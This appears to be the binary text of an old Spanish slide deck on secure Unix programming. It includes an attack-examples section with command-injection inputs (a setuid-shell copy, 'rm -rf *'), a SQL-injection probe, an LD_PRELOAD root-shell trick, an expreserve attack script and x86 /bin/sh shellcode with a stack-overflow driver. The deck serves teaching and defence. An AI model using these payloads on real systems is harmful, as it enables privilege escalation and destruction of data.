DrObaSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1)Dar formato a todas las cadenas de salidaPredeterminado~LT~Gliederung 1<( (@' A'9Evitar el uso de printf(cadena_de_usuario_no_fiable)Predeterminado~LT~Gliederung 2<( (@' A'eUsar en su lugar printf(%s, cadena_de_usuario_no_fiable) fputs(cadena_de_usuario_no_fiable)Predeterminado~LT~Gliederung 2<( (6@' A' >?Con un formato adecuado se podra obtener un volcado de la pila y por ejemplo averiguar el valor del canary si se usa Stackguard.Predeterminado~LT~Gliederung 2<( (7@' A'eflmDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KUDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg)JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[vxV4B1aLlamadas a otros RecursosPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1`q[&BAxV4B1$sSi se utilizan libreras ajenas, que sean seguras. Su documentacin debe dejar muy claro qu hacen y cmo lo hacen.Predeterminado~LT~Gliederung 1<( (@'A'UAsegurarse que los datos que se pasan a estos otros programas o libreras son vlidosPredeterminado~LT~Gliederung 1<( (@'A'Xlas llamadas popen(3), system(3), ececlp(3) y execvp(3) internamente ejecutan un shell. Predeterminado~LT~Gliederung 1<( (@'A'PPor tanto se deben filtrar los metacaracteres del shell. Es mejor usar execve(3)Predeterminado~LT~Gliederung 2 <( (@'A'/Cuidado con las variables de entorno: PATH, IFSPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KWDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgxJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[vxV4B1aLlamadas a otros RecursosPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1wAl igual que en la entrada, se deben escapar los caracteres conflictivos: & ; `\ | * ~ < > ^ ( ) [ ]{ } $ \n \r \t ! # - etc...Predeterminado~LT~Gliederung 1<( (8@' A'%&-.PQUVMs a bajo nivel. Si a un mdem tras un segundo de inactividad le llega la secuendia +++, al cabo de otro segundo pasa a modo de comandos. La conexin no se pierde pero ste ejecutar los comandos que le lleguenPredeterminado~LT~Gliederung 1<( (9@' A'UVYZPredeterminado~LT~Gliederung 1<( (:@' A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KYDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg5JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[vxV4B1aLlamadas a otros RecursosPredeterminado~LT~Titel<( (@' DrObSVDr&q[D2Predeterminado~LT~Gliederung 1lq[DMxV4B108Evitar invocar comandos diseados para ser interactivos:Predeterminado~LT~Gliederung 1<( (@'A'mLos programas mail o mailx utilizan ~ como escape para ejecutar alguna accinmail root < fichero_peligrosoPredeterminado~LT~Gliederung 2 <( (@'A''MNNOOPMLos editores (vi, emacs) utilizan caracteres de escape para ejecutar un shellPredeterminado~LT~Gliederung 2 <( (@'A'HInvocar otros programas mediante un interfaz (API) diseado a tal efectoPredeterminado~LT~Gliederung 1<( (@'A'KVerificar los cdigos de retorno de las llamadas al sistema y a esos APIs Predeterminado~LT~Gliederung 1<( (@'A'HIDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K[DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg]JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[vxV4B1aLlamadas a otros RecursosPredeterminado~LT~Titel<( (@' DrObtSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1Evitar el uso de vfork(2)Predeterminado~LT~Gliederung 1<( (@'A'#Puede dar problemas de portabilidadPredeterminado~LT~Gliederung 2 <( (@'A'IEn algunas implementaciones puede ser vulnerable a condiciones de carreraPredeterminado~LT~Gliederung 2 <( (@'A'Utilizar fork(2)Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K]DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[vxV4B1aLlamadas a otros RecursosPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1;q[&BxV4B1^Antes de ejecutar otros programas se deben resetear el EUID y EGID al valor de los RUID y RGIDPredeterminado~LT~Gliederung 1<( (@'A'8Tambin se deben cerrar todos los descriptores abiertos.Predeterminado~LT~Gliederung 1<( (@'A'En caso de usar la familia de funciones exec(2) definir el flag de cierre automtico mediante las funciones ioctl(2) y fcntl(2) Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K_DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg>JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[ixV4B1T ConclusionesPredeterminado~LT~Titel<( (@' DrObbSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1[Para minimizar el riesgo de ataques en nuestro sistema es necesaria una colaboracin entre Predeterminado~LT~Gliederung 1<( (@'A'Administradores: Predeterminado~LT~Gliederung 2 <( (@'A',Deben asegurarse del origen de los programasPredeterminado~LT~Gliederung 3<( (@'A'ZHan de mantener al mnimo el nmero de programas setuidados o setgidados en sus sistemas. Predeterminado~LT~Gliederung 3<( (@'A'CDeben usar herramientas de auditora para detectar posibles ataquesPredeterminado~LT~Gliederung 3<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KaDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg9JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[ixV4B1T ConclusionesPredeterminado~LT~Titel<( (@' DrOb]SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1rFabricantes: han de tratar de verificar ms la robustez de los programas/libreras crticos antes de distribuirlosPredeterminado~LT~Gliederung 2 <( (@'A'JProgramadores: tienen que esforzarse en generar cdigo con menos erroresPredeterminado~LT~Gliederung 2 <( (@'A'ABIJPredeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KcDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[ixV4B1T ConclusionesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1`q[&BAxV4B1&+Utilizar los mnimos privilegios necesariosPredeterminado~LT~Gliederung 1<( (@'A'zNo permitir que programas con privilegios utilicen a ciegas valores proporcionados por usuarios con menores privilegios.Predeterminado~LT~Gliederung 1<( (@'A'34<=No presuponer nadaPredeterminado~LT~Gliederung 1<( (@'A'&Utilizar funciones que conozcamos bienPredeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KeDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg7JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[ixV4B1T ConclusionesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1{q[&B\xV4B1CUn programa mal escrito puede abrir el sistema a cualquiera lo suficientemente observador y listo para manipularlo a su antojo.Predeterminado~LT~Gliederung 1<( (@'A'Adems, existen multitud de exploits disponibles en Internet, para casi todas las variantes de Unix y que incluyen el cdigo necesario para ejecutar shells sobre cualquier operativo y arquitectura.Predeterminado~LT~Gliederung 1<( (@'A'%&Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KgDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrOb9SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B16Si no se escapan los datos de entrada:Escribimos un cdigo como el siguientechar to[1000];char comando[1000];leer(to);strcpy(comando,/bin/mail );strcat(comando, to);popen(comando); si el usuario escribe >/dev/null; touch /tmp/estoy_dentro se ejecutara /bin/mail >/dev/null; touch /tmp/estoy_dentro si se escapa el ; /bin/mail \>/dev/null \; touch /tmp/estoy_dentroQu hubiera pasado si este programa perteneciera a root con SUID y el usuario hubiese escrito: >/dev/null; cp /bin/sh .sh; chmod 4755 .sh ?Predeterminado~LT~Gliederung 1<( (;@' A' '! ())6OPPQP_``atuuv   WX_`fgklmn 34DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KiDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgr  JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1Iq[&B* xV4B1 )Si no se escapan los datos de entrada: Predeterminado~LT~Gliederung 1<( (<@' A' SUn formulario de consulta. Si al valor del campo se le pasa una (comilla simple)Predeterminado~LT~Gliederung 2g*<( (0@' A' S@A Da el error:Predeterminado~LT~Gliederung 2g*<( (0@' A'  Predeterminado~LT~Gliederung 2g*<( (0@' A' Predeterminado~LT~Gliederung 2g*<( (0@' A' Predeterminado~LT~Gliederung 2g*<( (0@' A' Predeterminado~LT~Gliederung 2g*<( (0@' A' Predeterminado~LT~Gliederung 2g*<( (0@' A' Predeterminado~LT~Gliederung 2g*<( (0@' A' DQu sucede si le pasamos como parmetro and campoC like %xxx?Predeterminado~LT~Gliederung 2g*<( (0@' A' D)*+C+,=>BCPredeterminado~LT~Gliederung 2g*<( (0@' A' select campoA, campoB, campoC, campoD from TABLA where campoB like '% and campoC like %xxx%' and (Fecha_BAJA is null) order by campoBPredeterminado~LT~Gliederung 2g*<( (0@' A' 7=CFF]FGXY]_DrObSVDr&dT$[4DrOb{SVDr&dT$[4"  Predeterminadoqa$Z4DrObSVDr&qa$Z4" Predeterminadoqa$Z4xV4B1vqselect campoA, campoB, campoC, campoD from TABLA where campoB like '%'%' and (Fecha_BAJA is null) order by campoBPredeterminadog*<( (@'qq7=CHkqPaquete: xxxxxPredeterminadog*<( (@'Fichero: /aaaaa/bbbbb/ccccPredeterminadog*<( (@' Linea: nnPredeterminadog*<( (@'  7Error: ORA-01756: quoted string not properly terminatedPredeterminadog*<( (@'77DrXXDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KkDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgHJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&Bf xV4B1A $Confiar en las variables de entorno:Predeterminado~LT~Gliederung 1<( (1@'A'El vi es un editor y por tanto no tiene ningn privilegio. Pero cuando sale de forma anmala se ejecuta expreserve para salvar lo que se estaba haciendo.Predeterminado~LT~Gliederung 2g*<( (2@'A' jkuv\expreserve lo almacena en una zona de datos protegida y despus enva un mail para avisar.Predeterminado~LT~Gliederung 2g*<( (2@'A' \ expreserve es SUID de root.Predeterminado~LT~Gliederung 2g*<( (2@'A'  4Si alguien consigue que ejecute un mail especial: Predeterminado~LT~Gliederung 2g*<( (2@'A' 4#$() #! /bin/shPredeterminado~LT~Gliederung 4g* <( (3@'A'   cp /bin/sh /usr/attack/.shPredeterminado~LT~Gliederung 4g* <( (3@'A' chmod 4755 /usr/attack/.shPredeterminado~LT~Gliederung 4g* <( (3@'A' Predeterminado~LT~Gliederung 1g* <( (4@'A' DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KmDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg9JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1vq[&BW xV4B1, #Confiar en las variables de entornoPredeterminado~LT~Gliederung 1<( (@'A'Tomamos un programa setuid para root y que use libreras dinmicas (por ejempl /bin/login, carga dinmicamente la funcin fgets para recoger el usuario)Predeterminado~LT~Gliederung 2g* <( (@'A' JCreamos la librera libme.so en el directorio actual nueva redefinindola:Predeterminado~LT~Gliederung 2g* <( (@'A' J!fgets(char *buf, int n, FILE *fp)Predeterminado~LT~Gliederung 4g*<( (@'A'!!{Predeterminado~LT~Gliederung 4g*<( (@'A'execl("/bin/sh", "-sh", 0);Predeterminado~LT~Gliederung 5g*<( (@'A'}Predeterminado~LT~Gliederung 4g*<( (@'A'Si ejecutamos Predeterminado~LT~Gliederung 2g* <( (@'A' % LD_PRELOAD=.:$LD_PRELOADPredeterminado~LT~Gliederung 2g*  <( (@'A' ' % /bin/loginPredeterminado~LT~Gliederung 2g*  <( (@'A' '  #Predeterminado~LT~Gliederung 2g*  <( (@'A' '6Tendramos un shell con privilegios de su propietario.Predeterminado~LT~Gliederung 2g* <( (@'A' 6DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KoDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg:JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrObWSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1&Peligro de fiarnos de gethostbyaddr(3)Predeterminado~LT~Gliederung 1<( (@'A'En general hace llamadas a un servidor DNS y si no validamos lo que nos responde:sprintf(cmd, echo %s | mail pepe, p);system(cmd); Predeterminado~LT~Gliederung 2 <( (@'A'' QRRSSS`atuz{{|&Con entrada: info.mabell.com; rm -rf *Predeterminado~LT~Gliederung 2 <( (@'A' &MEstamos permitiendo a un presunto atacante que ejecute comandos en mi sistemaPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KqDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPglJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1qStack Overflow:Predeterminado~LT~Gliederung 1<( (@'A'uObjetivo: Tener en memoria el cdigo ejecutable y un sustituir una direccin de retorno por un puntero a dicho cdigoPredeterminado~LT~Gliederung 2 <( (@'A'Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KsDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgi JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrObSVDr&]8c[I2 Predeterminado~LT~Gliederung 1]8c[I xV4B1 char shellcode[] =Predeterminado~LT~Gliederung 1g*<( (5@'A' D "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0bPredeterminado~LT~Gliederung 1g*<( (5@'A' DDCDD "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcdPredeterminado~LT~Gliederung 1g*<( (5@'A' DDCD3 "\x80\xe8\xdc\xff\xff\xff/bin/sh"; /* 46 bytes */Predeterminado~LT~Gliederung 1g*<( (5@'A' 33 char large_string[128]; Predeterminado~LT~Gliederung 1g*<( (5@'A' void main() { Predeterminado~LT~Gliederung 1g*<( (5@'A' o char buffer[96]; int i; long *long_ptr=(long *)large_string; //long_ptr takes the address of large_string Predeterminado~LT~Gliederung 1g*<( (5@'A' ool/* large_string's first 32 bytes are filled with the address of buffer */ for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /* copy the contents of shellcode into large_string */ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; /* buffer gets the shellcode and 32 pointers back to itself */ strcpy(buffer,large_string); Predeterminado~LT~Gliederung 1g*<( (5@'A' llKLef NOOk} Predeterminado~LT~Gliederung 1g*<( (5@'A' DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KuDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg=JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[pxV4B1[Ejemplos de ataquesPredeterminado~LT~Titel<( (@' DrOb SVDr&kD ]6Gs L'DrOb{SVDr&D ]6G" PredeterminadoD'n]GDrObSVDr&kD{']'" PredeterminadoDD'n]'DrObSVDr&kDq,]," PredeterminadoDD,n],DrObSVDr&kDI@]@" PredeterminadoDD~@n]~@DrObSVDr&kD]6]6" PredeterminadoDD6n]6DrObSVDr&kDg1]1" PredeterminadoDD1n]1DrObSVDr&kDS;];" PredeterminadoDD;n];DrObSVDr&D#n]'"PredeterminadoD#n]'sxV4B1^spfPredeterminadog* <( (@'+'DrObSVDr&D(n],"PredeterminadoD(n],xxV4B1clong_ptrPredeterminadog* <( (@'+'DrObSVDr&Dz-n]{1"PredeterminadoDz-n]{1qxV4B1\iPredeterminadog* <( (@'+'DrObSVDr&Dp2n]q6"PredeterminadoDp2n]q6zxV4B1e buffer[96]Predeterminadog* <( (@'+'  DrObSVDr&Df7n]g;"PredeterminadoDf7n]g;xV4B1llarge_string[128]Predeterminadog* <( (@'+'DrObSVDr&D\<n]]@"PredeterminadoD\<n]]@yxV4B1d shellcodePredeterminadog* <( (@'+'  DrObSVDr&O@(http://www.dwheeler.com/secure-programs/Predeterminado~LT~Gliederung 1g*<( (@'A' ("http://nob.cs.ucdavis.edu/~bishop/Predeterminado~LT~Gliederung 1g*<( (@'A' "&Bugtraq: http://www.securityfocus.com/Predeterminado~LT~Gliederung 1g*<( (@'A' &http://www.antionline.com/Predeterminado~LT~Gliederung 1g*<( (@'A' ,http://www.bastille-linux.org/jay/index.htmlPredeterminado~LT~Gliederung 1g*<( (@'A' ,+http://spisa.act.uji.es/spi/docs/unix.shtmlPredeterminado~LT~Gliederung 1g*<( (@'A' +%http://destroy.net/machines/security/Predeterminado~LT~Gliederung 1g*<( (@'A' %http://www.w00w00.org/Predeterminado~LT~Gliederung 1g*<( (@'A' 3http://www.sans.org/infosecFAQ/linux/linux_list.htmPredeterminado~LT~Gliederung 1g*<( (@'A' 3*http://www.lwn.net/2001/0524/security.php3Predeterminado~LT~Gliederung 1g*<( (@'A' *Predeterminado~LT~Gliederung 1g*<( (@'A' DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KyDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgTJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[hxV4B1S ReferenciasPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BzxV4B1YStack Overflow:Predeterminado~LT~Gliederung 1g*<( (@'A' Nathan P. Smith. Stack Smashing vulnerabilities in the UNIX Operating System http://millcomm.com/~nate/machines/security/stack-smashing/nate-buffer.psPredeterminado~LT~Gliederung 2g* <( (@'A'Q``Mudge''. How to Write Buffer Overflows. http://l0pht.com/advisories/bufero.htmlPredeterminado~LT~Gliederung 2g* <( (@'A'Q9Libsafe: http://www.research.avaylabs.com/project/libsafePredeterminado~LT~Gliederung 2g* <( (@'A' 94StackGuard: http://cse.ogi.edu/DISC/projects/immunixPredeterminado~LT~Gliederung 2g* <( (@'A' 4MModificar el compilador http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.htmlPredeterminado~LT~Gliederung 2g* <( (@'A' M*Pila no ejecutable: www.openwall.com/linuxPredeterminado~LT~Gliederung 2g* <( (@'A' *DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K{DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrXXFGeneric PrinterSGENPRT PostScriptH`Tl`Tld,,lprdefault_queueSGENPRT DrVwP SVDr SVDr:SVDrSVDrADiseo:SVDrSVDr#SVDr SVDr# SVDr0 SVDr1 SVDr3 SVDr4SVDr@SVDr SVDrD SVDrP SVDrQ DrHL DrHL DrHL wXK5 Root Entry!r\V)䰱CompObjEOle persist elements"SfxDocumentInfo uSfxWindowsSfxStyleSheetszSummaryInformation(@StarDrawDocument3$v